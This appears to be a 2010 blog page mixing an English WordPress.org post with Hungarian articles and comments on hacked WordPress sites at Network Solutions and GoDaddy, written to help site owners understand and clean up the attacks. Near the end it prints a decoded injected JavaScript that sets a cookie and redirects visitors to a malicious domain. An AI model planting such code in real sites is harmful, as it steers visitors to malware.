Posted April 13, 2010 by Matt. Filed under Development.
Summary: A web host had a crappy server configuration that allowed people on the same box to read each others’ configuration files, and some members of the “security†press have tried to turn this into a “WordPress vulnerability†story.
WordPress, like all other web applications, must store database connection info in clear text. Encrypting credentials doesn’t matter because the keys have to be stored where the web server can read them in order to decrypt the data. If a malicious user has access to the file system — like they appeared to have in this case — it is trivial to obtain the keys and decrypt the information. When you leave the keys to the door in the lock, does it help to lock the door?
A properly configured web server will not allow users to access the files of another user, regardless of file permissions. The web server is the responsibility of the hosting provider. The methods for doing this (suexec, et al) have been around for 5+ years.
I’m not even going to link any of the articles because they have so many inaccuracies you become stupider by reading them.
If you’re a web host and you turn a bad file permissions story into a WordPress story, you’re doing something wrong.
P.S. Network Solutions, it’s “WordPress†not “Word Press.â€
via WordPress.org/development
Magyar cikk:
Tömeges WordPress fertőzés a Network Solutions-nél
A hírek szerint több ezer Network Solutions-nél hosztolt WordPress motort használó oldalt fertőztek meg rosszindulatú kóddal. A probléma nem a WordPress valamilyen eddig nem ismert sebezhetőségére vezethető vissza, hanem kedves régi ismerősünkre: az emberi hanyagságra és tájékozatlanságra. Sok felhasználó (vagy inkább a Network Solutions?) ugyanis mindenki számára olvashatóvá tette a WordPress adatbázisának jelszavát is titkosítatlanul tároló wp-config.php fájlt, amelyet így bármelyik azonos gépen működő felhasználó kiolvashat.
Az eset jól megvilágítja azt a problémát, hogy bár az osztott-hoszting szolgáltatóknál sokan úgy érzik, mintha saját, megbízható otthoni rendszereiket használnák, a valóság az, hogy minden ilyen rendszer potenciálisan veszélyes ellenségekkel teli csatatérnek tekintendő.
A Network Solutions gyorsan reagált a problémára, és új jelszót állítottak be a WordPress site-okon. Minden esetre egy darabig vigyázzatok a WordPresses siteokkal, főleg ha a NS-nél futtatják őket.
Nekem feltörték a tárhelyemet, de sajnos nem tudom, hogy hogyan…
Ha a tárhelyen minden weblapot… (több domain nevet rendelhetek a tárhelyhez), és azon belül minden index.php-t és JS fájlba, a fájlok végére beleírtak a rossz fiúk, azt hogyan? vagy inkább hogyan nem tehették?
Sajna volt egy elavult WordPress verzió a domain-ek közt, és volt/van egy lap, ahol meg több mint 10 plugin van feltelepítve. A többi domain alatt “szokványos, alap” wordpress fut. (öszesen vagy 15 domain név/ wordpress van a tárhelyen…, mindet feltörték)
Ezt inkább valamelyik lapon keresztül csinálhatták, vagy FTP-n keresztül? Annyit tettem aztán, hogy az FTP jelszavakat nem tárolom a Total Commander programban (hanem minden újabb kapcsolatnál manuálisan írom bele a jelszót), illetve egy plugint, amelyiket a feltörés előtt pár órával telepítettem, kikapcsoltam (egy ajaxos komment szerkesztő volt az, ahol a vendég is utólag szerkeszthette a hozzászólásait) - illetve az összes WP felfrissítettem a legfrissebb verzióra)
Biztos sokféleképpen csinálhatták, tehát inkább az a kérdésem, hogyan nem csinálhatták? Az, hogy nem tudtak törölni fájlokat, csak módosítani úgy, hogy a fájlok végére írtak bele, nem tudom, ne e árul el valamit a technikájukról.
Illetve, hogy azóta nem próbálkoztak/ vagy eredménytelenül próbálkoztak, hátha elárul valami a módszerükről…
(Egyszer régen volt egy hasonló problémám, akkor Joomla oldalról volt szó, és utólag a szolgáltató elismerte, onnan fertőzték meg a weblapot, de a feltörés technikája szóról szóra ugyanaz volt, mint most: minden index.php-t és JS fájlba, a fájlok végére beleírtak a rossz fiúk)
Mondjuk azt még hozzá kell tennem, hogy e között a weblapok közt van egy igen népszerű oldal..., már ami a spam-előket illeti..., spam védelem nélkül napi 1000 spam hozzászólást is felszed a weblap..., 99%-ban orosz spam hozzászólásokat. Már az Akismet sem védi meg a lapot, egyelőre CAPTCHA kóddal tudom őket megfogni..., egyelőre.
Shared host = amikor egy tárhelyet veszel, bérelsz a szolgáltatónál, akkor nem csupán a te domained/site-od lakik egy gépen (szerveren), hanem sok…nagyon sok. A gép tárolóképessége “meg van osztva” a sok előfizető között.
Gyakorlatilag minden tárhely ilyen, hacsak nem VPS (virtual private server, ahol nem sokszáz, hanem mondjuk 8-10 dolgozó lakik), illetve saját privát szerver - amikor a szolgáltató egyik gépén csak és kizárólag te vagy.
Tovább ostromolják a világ egyik legnagyobb hoszting cégét
(2010. április 20.)
Slashdot nyomán -
Egy hét alatt két nagy pofont kapott a Network Solutions a hackerekől.
Egy héten belül két komoly hackertámadás érte az amerikai Network Solutions szolgáltatót. Először a népszerű WordPress blog-portálon futó webnaplókat fertőzték meg trójai letöltéssel ismeretlen támadók, akik gyenge jelszavakat és a fájlhozzáférési jogosultságok hibás beállítását használták ki tervük végrehajtásához.
Nemrég azonban a cég által bérmunkában üzemeltetett Joomla rendszerű, sőt egyszerű HTML alapú webhelyekre is sikerült kártevőt bejuttatniuk vírus-terjesztőknek, akik egy bonyolultabb támadási sémát alkalmaztak. Az újabb betörést felfedező Securi Labs biztonsági cég szerint a hackerek legalább 50 hosztolt oldalt módosítottak illetéktelenül.
Rejtett váltóállítás
A kezdeti támadás módja nem került nyilvánosságra, mivel a Network Solutions képviselői nem kívánnak újabb tippeket adni a kiber-bűnözőknek. Azt azonban tudni lehet, hogy amint bejutottak, a hackerek JavaScript exploit-kódot és webböngészők támadására szolgáló ún. I-frame trükköt illesztettek a feltört weboldalak forráskódjába, amivel egy ukrajnai kalózszerverre irányíthatták át az eredeti oldalra igyekvő, mit sem sejtő látogatókat.
Ez a corpadsinc.com és mainnetsoll.com neveken jegyzett ukrán szerver azután egy teljes készlet ún. exploit-kód felhasználásával végigpróbálgatta az eltérített számítógépeket, hogy talál-e rajtuk Adobe Acrobat vagy Microsoft ActiveX szoftvert érintő sebezhetőséget - ha igen, akkor a biztonsági résen keresztül trójai kártevőt telepített a rendszerbe.
Védelmet adhat a naprakészség
A modern böngésző-programok, mint az Internet Explorer 8, a Firefox 3.6 és a Google Chrome különféle riasztásokat jelenítenek meg, amikor webhelyek illetéktelenül próbálják meg eltéríteni a látogatókat - a régebbi kiadási böngészők, például a teljesen elavult Microsoft IE6-os üzemeltetői azonban figyelmeztetés híján különösen nagy veszélynek vannak kitéve.
A Network Solutions április 19-i közlése szerint a cégnek sikerült azonosítania a hosztolt weblapok feltörésére használt hackermódszert és a fertőzéstől érintett mentéseket is különválogatták. A műszaki személyzet így végre megkezdhette a biztonság helyreállítását és a tárolt weblapokba került kártevők proaktív mentesítését.
Ez azonban kevés vigaszt jelent azoknak a megfertőződött ügyfeleknek, akiket a Google keresőportál biztonsági rendszere időközben feketelistára tett - és az FTP/SFTP jelszavaik megváltozása miatt nem is férnek hozzá az általuk feltöltött weboldalakhoz, hogy gyorsan rendbe tegyék a feltöréstől sújtott WP-Content típusú fájlokat.
We've only seen it on Godaddy's Linux hosting accounts, so far.
If not removed, this malicious script has a cookie that will run again in 20 days. Here’s what the cechirecom.com/js.php looks like decoded…
function setCookie(c_name,value,expiredays){ var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); document.cookie=c_name+ “=” +escape(value)+ ((expiredays==null) ? “” : “;expires=”+exdate.toGMTString()); }function getCookie(c_name){ if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + “=”); if (c_start!=-1){c_start=c_start + c_name.length+1;c_end=document.cookie.indexOf(";",c_start);if (c_end==-1) c_end=document.cookie.length;return unescape(document.cookie.substring(c_start,c_end));} } return “”; }var name=getCookie(“pma_visited_theme1”); if (name==""){ setCookie(“pma_visited_theme1”,“1”,20);var url=“http://www3.sdfhj40-td.xorg.pl?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG3JXpuYk2huZGiYmQ%3D%3D”; window.top.location.replace(url); }else{}
Most hosting accounts were running PHP Version 4.x (you should be running 5.x).
Permissions were set to 777 and/or 755 on some or all directories and/or files.
Wp-config.php files had weak or no Authentication Unique Keys (secret keys) added.
Weak passwords were used for the database, FTP/Hosting and wp-admin.
Website can be restored to an earlier date to remove the virus.
WordPress database does not seem to be affected.
…
Nos ezekre a pontokra tehát oda kellene figyelni… Mivel mint láthatjátok a szolgáltató nem tud emberi hülyeség ellen (na jó ez erős volt. Emberi “szakszerűtlenség” (no ez meg nagyképűség lenne) szóval inkább fogalmazzunk úgy, hogy ha csak barkácsolsz és nem olvasol utána a doloknak, felét sem érted -és ami a lényeg:- nem is AKAROD érteni, annak amit csinálsz az ide vezet.
Engem is próbáltak feltörni goDaddy-nél. elég keményen. a loginomat semmi sem védte.
de feltűnt a sok request és kitiltottam… azóta gondoskodtam minimális védelemről.
De érdemes odafigyelni tényleg… nem a 60karakteres hash-szerű jelszavakról beszélek amiket naponta 3x megváltoztatsz, hanem pld ne legyenek 777re állított mappáid, teszteletlen plugin-jaid (vagy olyanok amikről kismillió exploit van…
Tegnap újabb támadás volt a godaddy ellen, úgyhogy akinek ott vannak php-alapú oldalai, az jobb, ha megnézi őket.
Úgy tűnik, hogy a godaddy-nél van valami biztonsági rés (amit ők nem ismernek el, szerintük a felhasználók oldalai nem elég biztonságosak), és ha ott bejönnek, akkor egyből végigsöpörnek több ezer oldalon, és megfertőzik őket)
Godaddy-s linux shared hoston semmi gond Szóval nem kell félni… csak nem kell nyitvahagyni a dolgokat/nem kell név-jelszó-ugyanaz okosságokat elkövetni stb
Szóval nem kell félni… csak nem kell nyitvahagyni a dolgokat/nem kell név-jelszó-ugyanaz okosságokat elkövetni stb